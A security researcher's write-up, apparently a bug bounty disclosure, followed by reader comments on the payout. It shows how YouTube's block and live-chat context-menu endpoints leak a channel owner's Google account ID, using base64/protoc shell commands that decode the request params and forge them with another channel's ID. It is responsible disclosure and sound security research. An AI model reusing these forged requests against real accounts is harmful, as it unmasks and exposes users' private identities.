2025-02-12
Some time ago, I was looking for a research target in Google and was digging through the Internal People API (Staging) discovery document until I noticed something interesting:
"BlockedTarget": {
"id": "BlockedTarget",
"description": "The target of a user-to-user block, used to specify creation/deletion of blocks.",
"type": "object",
"properties": {
"profileId": {
"description": "Required. The obfuscated Gaia ID of the user targeted by the block.",
"type": "string"
},
"fallbackName": {
"description": "Required for `BlockPeopleRequest`. A display name for the user being blocked. The viewer may see this in other surfaces later, if the blocked user has no profile name visible to them. Notes: * Required for `BlockPeopleRequest` (may not currently be enforced by validation, but should be provided) * For `UnblockPeopleRequest` this does not need to be set.",
"type": "string"
}
}
},It seemed the Google-wide block user functionality was based on an obfuscated Gaia ID as well as a display name for that blocked user. The obfuscated Gaia ID is just a Google account identifier.
That seemed perfectly fine until I remembered this support page:
So, if you block someone on YouTube, you can leak their Google account identifier? I tested it out. I went to a random livestream, blocked a user and sure enough, it showed up in https://myaccount.google.com/blocklist
The fallback name was set as their channel name Mega Prime and the profile ID was their obfuscated Gaia ID 107183641464576740691
This was super strange to me because YouTube should never leak the underlying Google account of a YouTube channel. In the past, there’s been several bugs to resolve these to an email address, so I was confident there was still a Gaia ID to Email in some old obscure Google product.
Escalating this to 4 billion YouTube channels
So, we can leak the Gaia ID of any live chat user, but can we escalate this to all channels on YouTube? As it turns out, when you click the 3 dots just to open the context menu, a request is fired:
Request
POST /youtubei/v1/live_chat/get_item_context_menu?params=R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlExTkZMV0ZaVDJJdGRVTm5NRFU1Y1VoU2FYTmZiM2M9&pbj=1&prettyPrint=false HTTP/2
Host: www.youtube.com
Cookie: Response
HTTP/2 200 OK
Content-Type: application/json; charset=UTF-8
Server: scaffolding on HTTPServer2
{
...
"serviceEndpoint": {
...
"commandMetadata": {
"webCommandMetadata": {
"sendPost": true,
"apiUrl": "/youtubei/v1/live_chat/moderate"
}
},
"moderateLiveChatEndpoint": {
"params": "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEV6T1RBM05EWTJOVE0zTmpjd016Y3dOVGt3RWhaVFJTMWhXVTlpTFhWRFp6QTFPWEZJVW1selgyOTNjQUElM0Q="
}
}
...
}That params is nothing more than just base64 encoded protobuf, which is a common encoding format used throughout Google.
If we try decoding that moderateLiveChatEndpoint params:
$ echo -n "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEV6T1RBM05EWTJOVE0zTmpjd016Y3dOVGt3RWhaVFJTMWhXVTlpTFhWRFp6QTFPWEZJVW1selgyOTNjQUElM0Q=" | base64
-d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw
1 {
5 {
1: "UChs0pSaEoNLV4mevBFGaoKA"
2: "36YnV9STBqc"
}
}
10: 0
11: 1
12 {
1: "113907466537670370590"
2: "SE-aYOb-uCg059qHRis_ow"
}
14: 0It actually just contains the Gaia ID of the user we want to block, we don’t even need to block them!
Let’s check out the get_item_context_menu requests params too:
$ echo -n "R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlExTkZMV0ZaVDJJdGRVTm5NRFU1Y1VoU2FYTmZiM2M9" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw
3 {
5 {
1: "UChs0pSaEoNLV4mevBFGaoKA"
2: "36YnV9STBqc"
}
}
6 {
1: "UCSE-aYOb-uCg059qHRis_ow"
}Seems to just contain the channel ID of the channel we’re blocking, the livestream video ID and livestream author ID. Let’s try to fake the request params with our own target’s channel ID.
For this test, we’ll use a Topic Channel since they are auto-generated by YouTube and guaranteed to not have any live chat messages.
$ echo -n "" | base64 -d | sed 's/%3D/=/g' | base64 -d | sed 's/UCSE-aYOb-uCg059qHRis_ow/UCD2LZAT1j1DyVXq2R2BdusQ/g' | base64 | base64
R2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZeklhQ2hoVlEwUXlURnBCVkRGcQpNVVI1VmxoeE1sSXlRbVIxYzFFPQo=
Testing this on /youtubei/v1/live_chat/get_item_context_menu:
...
"moderateLiveChatEndpoint":{"params":"Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEF6TWpZeE9UYzBNakl4T0RJNU9Ea3lNVFkzRWhaRU1reGFRVlF4YWpGRWVWWlljVEpTTWtKa2RYTlJjQUElM0Q="}
...echo -n "Q2lrcUp3b1lWVU5vY3pCd1UyRkZiMDVNVmpSdFpYWkNSa2RoYjB0QkVnc3pObGx1VmpsVFZFSnhZMUFBV0FGaUx3b1ZNVEF6TWpZeE9UYzBNakl4T0RJNU9Ea3lNVFkzRWhaRU1reGFRVlF4YWpGRWVWWlljVEpTTWtKa2RYTlJjQUElM0Q=" | base64 -d | sed 's/%3D/=/g' | base64 -d | protoc --decode_raw
1 {
5 {
1: "UChs0pSaEoNLV4mevBFGaoKA"
2: "36YnV9STBqc"
}
}
10: 0
11: 1
12 {
1: "103261974221829892167"
2: "D2LZAT1j1DyVXq2R2BdusQ"
}
14: 0We can leak the Gaia ID of the channel – 103261974221829892167
23 Comments
michpoch
Am I very naive expecting the payout to be significantly higher?
robin_reala
I’d misunderstood the title to refer to $10k of GPU compute or something like that. Unfortunately I suspect there’ll be tens or hundreds of occurrences of this bug given that they just picked one old Google product and immediately found a hole.
nullderef
Breaking the email system so that it's not sent is the cherry on top. With companies as big as Google who have developed so many products, "security" feels fake. If every line of code is a possible vulnerability, with millions it's just inevitable. It feels like the only way is to keep things simple (e.g., deprecate the recorder site), but even then.
55555
This is a puny payout IMO. If they poked around a bit more they may have found a better GAIA->Email vulnerability or perhaps could just use the one they found. A database of emails for every major youtube channel would be worth an awful lot.
suyash
Question is is this patched or the vulnerability still exists?
billpg
It's (channel-name)@gmail.com
I'll take a cheque.
fnordian_slip
Very nice breakdown. But while 10,000 dollars seems like a decent sum, I expected more for a bug of this severity, if I'm being honest. Especially as they initially only awarded 3100. But I'm not sure how much is usual for such cases. Almost 150 days also seems kind of a long time for fixing it imho.
doctorhandshake
Is it me or are all the dates in this timeline in the future? Isn’t it Feb 2025 now? Do you smell toast?
EDIT: oh I see .. DD/MM/YY is a new one to me
AznHisoka
“Applied 1 downgrade from the base amount due to complexity of attack chain required” <— is this common?
I’ve only participated in a few vulnerability programs, and most of them reward less if the security flaw is stupidly simple (but serious) such as revealing user emails in the page source.
ForHackernews
> That params is nothing more than just base64 encoded protobuf, which is a common encoding format used throughout Google.
Pour one out for the google dev in charge of b64 encoding their fancy binary message format so it can be jammed inside a JSON blob. If you want a vision of the future, imagine a boot with "worse is better" imprinted on the sole stomping on an engineer's face, forever.
sebstefan
“Applied 1 downgrade from the base amount due to complexity of attack chain required”
The attack chain isn't that complex…
It's very lame to be stingy with a bug bounty program.
hoerzu
I haven't gotten access to my YouTube channel since it migrated to Google account. If anyone can set me in contact with anyone who can help recover my account, it will be rewarded with karma for life
philipwhiuk
> Some time ago, I was looking for a research target in Google and was digging through the Internal People API (Staging) discovery document
Should… should this just be public: https://staging-people-pa.sandbox.googleapis.com/$discovery/…
kensai
I hear heads rolling…
neilv
$10k seems too small, for discovering a bad security mess-up by employees each getting paid 20 to 70 times that amount (or more).
andrewstuart
$10,000 ain’t much for that.
tptacek
Since every 3rd message on this thread (at the time I wrote this) is about how Google underpaid for this bug, some quick basic things about vulnerability valuations:
* Valuations for server-side vulnerabilities are low, because vendors don't compete for them. There is effectively no grey market for a server-side vulnerability. It is difficult for a third party to put a price on a bug that Google can kill instantaneously, that has effectively no half-life once discovered, and whose exploitation will generate reliable telemetry from the target.
* Similarly, bugs like full-chain Android/Chrome go for hundreds of thousands of dollars because Google competes with a well-established grey market; a firm can take that bug and sell it to potentially 6 different agencies at a single European country.
* Even then, bounty vs. grey market is an apples-oranges comparison. Google will pay substantially less than the grey market, because Google doesn't need a reliable exploit (just proof that one can be written) and doesn't need to pay maintenance. The rest of the market will pay a total amount that is heavily tranched and subject to risk; Google can offer a lump-sum payment which is attractive even if discounted.
* Threat actors buy vulnerabilities that fit into existing business processes. They do not, as a general rule, speculate on all the cool things they might do with some new kind of vulnerability and all the ways they might make money with it. Collecting payment information? Racking up thousands of machines for a botnet? Existing business processes. Unmasking Google accounts? Could there be a business there? Sure, maybe. Is there one already? Presumably no.
A bounty payout is not generally a referendum on how clever or exciting a bug is. Here, it kind of is, though, because $10,000 feels extraordinarily high for a server-side web bug.
For people who make their nut finding these kinds of bugs, the business strategy is to get good at finding lots of them. It's not like iOS exploit development, where you might sink months into a single reliable exploit.
This is closer to the kind of vulnerability research I've done recently in my career than a lot of other vuln work, so I'm reasonably confident. But there are people on HN who actually full-time do this kind of bounty work, and I'd be thrilled to be corrected by any of them.
arajnoha
haha the title sounds like you are a blackhat, offering emails for 10k
mschoch
google insiders will leak for considerably less, no exploit needed
zoklet-enjoyer
Pixel Recorder is an "old forgotten product"? I have used it at least once a week for years. I used it a bunch yesterday. Very good app. I hope Google doesn't kill it.
yieldcrv
On one hand I doing really see the hack here. They didn’t get access to any email address, just a potential privacy leak
On the other hand, a spearfishing campaign could be valuable. And launch a memecoin on some people’s account to make millions
donatj
After reading the article top to bottom I still had to come to the comments to find out what the "for $10,000" was about. It's the payout for a bug bounty.
progforlyfe
Wow, until the very last paragraph for some reason I was thinking that it COST $10,000 to leak the email of any YouTube user, like either a black market cost or purchasing cloud resources =) — Very nice exploit though!